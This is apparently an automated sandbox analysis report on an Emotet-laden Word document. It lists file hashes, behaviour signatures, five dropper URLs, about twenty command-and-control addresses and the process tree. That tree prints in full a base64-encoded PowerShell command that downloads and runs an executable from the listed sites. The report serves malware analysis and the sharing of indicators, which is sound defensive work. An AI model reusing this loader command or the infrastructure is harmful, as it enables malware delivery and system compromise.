Analysis

  • max time kernel
    111s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31-07-2020 18:32

General

  • Target

    emotet_e1_91cd68f6c9d5e7f41d01660ade2d22c62e302d123268b457db582ad60d127ce6_2020-07-31__183210._doc.doc

  • Size

    168KB

  • MD5

    94f174c31cea4007a0a720a9c8feabfa

  • SHA1

    72269fcb459a6dc961829e7efe6f7ff3eee68269

  • SHA256

    91cd68f6c9d5e7f41d01660ade2d22c62e302d123268b457db582ad60d127ce6

  • SHA512

    2f04d72862dcc7f99554a5f19aa32a9e08f970ef6b6174d0299fcbe4ac6886c6d32e80e822919c0356ccbcb365cf0ca7873839e5e938e79470063079705a30af

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://artexproductions.com/cgi-bin/xHdbmk/

exe.dropper

http://whistledownfarm.com/cgi-bin/tlsjw81/

exe.dropper

http://e-motiva.com/wp-admin/bFr531220/

exe.dropper

http://stolkie.net/m/H0LV59574/

exe.dropper

http://www.faccomputer.com/images/5mMAg7bKKK/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_91cd68f6c9d5e7f41d01660ade2d22c62e302d123268b457db582ad60d127ce6_2020-07-31__183210._doc.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1508
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFcARwBGAE0AUQByAHkAcQAgAD0AIAAnADIANwAzACcAOwAkAE0AQQBBAEkARQB6AHUAaAA9ACcASQBVAFgAWgBDAHAAbgB1ACcAOwAkAEQAWQBPAEUAQQBoAGMAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVwBHAEYATQBRAHIAeQBxACsAJwAuAGUAeABlACcAOwAkAEIATABNAFQASQBjAGgAcAA9ACcAQgBHAFMAWABIAGsAYwBlACcAOwAkAEEAUQBXAEUAUQB4AG0AZgA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBjAEwAaQBlAE4AdAA7ACQAUQBBAEkATABXAGcAcQBuAD0AJwBoAHQAdABwADoALwAvAGEAcgB0AGUAeABwAHIAbwBkAHUAYwB0AGkAbwBuAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB4AEgAZABiAG0AawAvACoAaAB0AHQAcAA6AC8ALwB3AGgAaQBzAHQAbABlAGQAbwB3AG4AZgBhAHIAbQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHQAbABzAGoAdwA4ADEALwAqAGgAdAB0AHAAOgAvAC8AZQAtAG0AbwB0AGkAdgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAEYAcgA1ADMAMQAyADIAMAAvACoAaAB0AHQAcAA6AC8ALwBzAHQAbwBsAGsAaQBlAC4AbgBlAHQALwBtAC8ASAAwAEwAVgA1ADkANQA3ADQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBmAGEAYwBjAG8AbQBwAHUAdABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8ANQBtAE0AQQBnADcAYgBLAEsASwAvACcALgAiAFMAUABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBBAEIAQwBTAHUAcwBpAD0AJwBZAEQAVABGAE0AcwBtAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYASwBPAFgAVABiAGUAZAAgAGkAbgAgACQAUQBBAEkATABXAGcAcQBuACkAewB0AHIAeQB7ACQAQQBRAFcARQBRAHgAbQBmAC4AIgBkAGAAbwB3AE4AbABPAEEAZABGAGAAaQBgAGwARQAiACgAJABWAEsATwBYAFQAYgBlAGQALAAgACQARABZAE8ARQBBAGgAYwBzACkAOwAkAEkAUwBSAFkAQgBvAHAAdAA9ACcAWgBMAE0ATQBXAHkAZAB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQARABZAE8ARQBBAGgAYwBzACkALgAiAGwAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADQAMgAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBlAGEAVABFACIAKAAkAEQAWQBPAEUAQQBoAGMAcwApADsAJABZAFMAUwBCAEEAcQBqAG0APQAnAFYAVABBAEwAWgBvAHUAbAAnADsAYgByAGUAYQBrADsAJABTAFkATgBOAFoAdABzAHgAPQAnAEwARwBVAEIAUQB5AGwAagAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAFEAUQBIAFMAYgB5AHgAPQAnAFkAWgBOAFkAQwBuAGoAZAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1684
  • C:\Users\Admin\273.exe
    C:\Users\Admin\273.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1908
    • C:\Windows\SysWOW64\xmllite\xpssvcs.exe
      "C:\Windows\SysWOW64\xmllite\xpssvcs.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1756

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1508-4-0x000000000AF90000-0x000000000AF94000-memory.dmp

    Filesize

    16KB

  • memory/1508-5-0x000000000C010000-0x000000000C014000-memory.dmp

    Filesize

    16KB

  • memory/1508-6-0x0000000006E90000-0x0000000007090000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-7-0x0000000006E90000-0x0000000007090000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-0-0x0000000006D90000-0x0000000006E90000-memory.dmp

    Filesize

    1024KB

  • memory/1508-3-0x0000000006E90000-0x0000000007090000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-2-0x0000000008B80000-0x0000000008B84000-memory.dmp

    Filesize

    16KB

  • memory/1756-14-0x00000000001C0000-0x00000000001CC000-memory.dmp

    Filesize

    48KB

  • memory/1908-10-0x0000000000370000-0x000000000037C000-memory.dmp

    Filesize

    48KB